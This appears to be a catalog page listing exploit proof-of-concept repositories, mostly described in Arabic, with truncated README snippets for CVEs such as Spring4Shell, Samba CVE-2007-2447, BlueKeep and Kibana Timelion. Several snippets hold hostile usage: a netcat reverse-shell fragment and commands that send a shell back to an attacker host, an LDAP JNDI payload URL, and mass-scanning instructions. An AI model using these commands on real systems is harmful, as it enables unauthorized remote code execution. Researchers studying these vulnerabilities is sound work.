CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC إثبات مفهوم لثغرة CVE-2022-22965 Spring4Shell لتقرير CS4239 G410. مُقتبس من هذا الإثبات لعرض سلوك النظام قبل التصحيح وبعده. تشغيل العرض التجريبي يوجد في هذا المستودع برنامجان مثالان يعملان عبر Docker بكود مصدري متطابق تمامًا. يستخدم أحدهما إصدارًا من Spring Boot يحتوي على...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f الاستخدام Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx जनरेट CVE-2021-40444 Microsoft Office Word Remote Code Execution का शोषण करने के लिए .docx जनरेट करें 1. खाली docx फ़ाइल बनाएँ। 2. 'Insert/Object' मेनू में 'Bitmap Image' ऑब्जेक्ट जोड़ें। वस्तु जोड़ें...

CVE-2014-0472

CVE-2014-0472 استخدم docker-compose up -d قم بالوصول إلى localhost:8083 المرجع: https://www.djangoproject.com/weblog/2014/apr/21/security/ 1. يوجد عرض view واحد أو أكثر يقوم بإنشاء رابط بناءً على إدخال المستخدم عادةً معامل "next" في سلسلة الاستعلام يحدد أين يتم إعادة التوجيه بعد إكمال إجراء بنجاح...

CVE-2025-54100

CVE-2025-54100 – PowerShell إثبات المفهوم لتحليل الاستجابة يوضح كيف يؤدي تحليل HTML الضار لـ CVE-2025-54100 إلى تنفيذ التعليمات البرمجية عن بُعد RCE في Windows PowerShell 5.1. ما هو CVE-2025-54100؟ نوع الثغرة: خطر حقن الأوامر عند عدم استخدام Invoke-WebRequest لمعامل -UseBasicParsing مستوى الخطورة...

CVE-2024-28397-Js2Py-RCE-Exploit

💡 غوص عميق: انقر هنا لقراءة الإحاطة الفنية الكاملة PDF. CVE-2024-28397: مولد حمولة الهروب من حماية Js2Py مولد حمولة احترافي لـ CVE-2024-28397. تقوم هذه الأداة بإنشاء كود JavaScript خبيث مصمم للهروب من حماية js2py الإصدارات = 0.74 وتنفيذ أوامر عشوائية على النظام المستهدف. 🚨 تفاصيل الثغرة معرف CVE:...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 المعلومات يحتوي هذا المستودع على اثنين من PoCs لـ Connect Box CH7465LG الذي يعمل على البرامج الثابتة CH7465LG-NCIP-6.12.18.24-5p8-NOSH أو أقدم. لمزيد من المعلومات، ألقِ نظرة على مدونتي. الاستخدام تنفيذ الأوامر عن بُعد بدون مصادقة $ python3 poc-rce.py كشف...

CVE-2025-24813

وصف هذا المستودع هو البيئة المخصصة لإعادة إنتاج ثغرة RCE الأخيرة في Tomcat CVE-2025-24813. للاستخدام التعليمي والبحثي فقط! شروط الاستغلال يقوم التطبيق بتمكين ميزة الكتابة لـ DefaultServlet، والتي تكون معطلة افتراضيًا. يدعم التطبيق طلبات PUT الجزئية partial PUT، مما يسمح بكتابة بيانات تسلسل ضارة إ...

tech-seminar-React2Shell

React2Shell CVE-2025-55182 الندوة التقنية لبرنامج ourFISA - الدفعة السادسة - الفريق الثالث: تحليل وبحث لثغرة React2Shell، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد RCE ناتجة عن خلل تصميمي في مكوّن خادم React RSC الفريق العضو| الدور| GitHub ---|---|--- 남인서| جمع المواد، إعداد العرض التقديمي، التقديم|...

CVE-2022-30781

🍵 CVE-2022-30781 استغلال تنفيذ الأوامر عن بُعد عبر ترحيل المستودع في Gitea. كيفية الاستخدام 1. قم بتشغيل خادم نظام ملفات HTTP مع الملفات الموجودة في هذا المستودع. 2. قم بتعديل الأمر الذي سيتم تنفيذه في api/v1/repos/e99/exp/pulls/1/index.html L96. 3. قم بترحيل مستودع بعيد باستخدام الرابط...

CVE-2019-0708

CVE-2019-0708 استغلال أولي لـ CVE-2019-0708، BlueKeep CVE-2019-0708 BlueKeep RDP: استخدام بعد التحرير عن بُعد في نواة ويندوز يعالج برنامج التشغيل termdd.sys في RDP الارتباطات بالقناة الداخلية MST120 بشكل غير صحيح، مما يسمح لرسالة Disconnect Provider Indication غير صالحة بالتسبب في استخدام بعد...

CVE-2019-7609

CVE-2019-7609 إعداد مختبر دوكر لـ kibana-7609 المرجع : https://github.com/mpgn/CVE-2019-7609 افتح كيبانا الصق إحدى الحمولات التالية في أداة التصور Timelion انقر على تشغيل على اللوحة اليسرى، انقر على Canvas يجب أن تظهر شلّتك العكسية! : الحمولة بواسطة @securityMB...

spring-framework-rce

spring-framework-rce CVE-2022-22965 المتطلبات البيئية 1. tomcat8 8 طريقة الاستخدام 1. حمّل springframeworkrce-0.0.1-SNAPSHOT.zip وبعد فك الضغط، غيّر الاسم إلى ROOT.war. 2. استبدل مجلد ROOT أو ملف ROOT.war الموجود في مجلد webapps داخل tomcat. 3. انتقل إلى مسار bin داخل tomcat، ثم نفّذ .\catalina.b...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2023-46404

CVE-2023-46404 PCRS هو تطبيق ويب لتمارين البرمجة عبر الإنترنت تم تطويره في جامعة تورنتو. انظر مستودع Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/ ملخص صفحة 'الأسئلة' في PCRS مع تقديم الكود وصفحة 'محرر الكود' عرضة لتنفيذ التعليمات البرمجية عن بُعد RCE عن طريق الهروب من وضع الحماية...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE ثغرة تنفيذ الأوامر عن بُعد في Spring Framework CVE-2022-22965 تُعد Spring-Core-RCE أداة استغلال RCE بنقرة واحدة تضاهي ثغرة Apache Log4j2 على مستوى القنبلة النووية. نظرة عامة مؤخرًا، تم ذكر ثغرة تنفيذ الأوامر عن بُعد في Spring Core في قضية GitHub الرسمية لـ Spring، وهذه الثغرة منتش...

wongpress

استغلال في حالة واقعية لثغرات تجاوز سعة المخزن المؤقت وثغرات سلسلة التنسيق للحصول على تنفيذ الأوامر عن بُعد في خادم أوبونتو الثغرات ذات الصلة CVE-2024-2961 : ثغرة تجاوز سعة المخزن المؤقت في دالة iconv في Glibc CVE-2024-29510 : ثغرة سلسلة التنسيق في Ghostscript مفسّر لغة PostScript 1. خلفية المشكل...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research بحث Pulse Secure mitm تاريخ الإصدار تاريخ إصدار مشترك مع البائع: 26 أكتوبر 2020 المؤلف David Kierznowski, @withdk شكر وتقدير Sahil Mahajan من فريق Pulse Secure PSIRT لدعمه طوال عملية الإفصاح. Alyssa Herrera وJustin Wagner وMimir وRich Warren لكتابتهم: "Red Teamer’s...

pulse-gosecure-rce-poc

pulse-gosecure-rce /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /::::\ :::\ \ /:::/...

CVE-2023-24489-poc

CVE-2023-24489-poc POC لـ CVE-2023-24489 باستخدام bash. يتطلب قائمة target.txt مليئة بالأهداف التي تريد اختبارها بالتنسيق التالي: https://example1.com https://example2.com https://example3.com يجب أن يكون الملف في نفس المجلد الذي يُنفَّذ فيه سكربت bash. يرجى استخدامه بحذر ! المرجع:...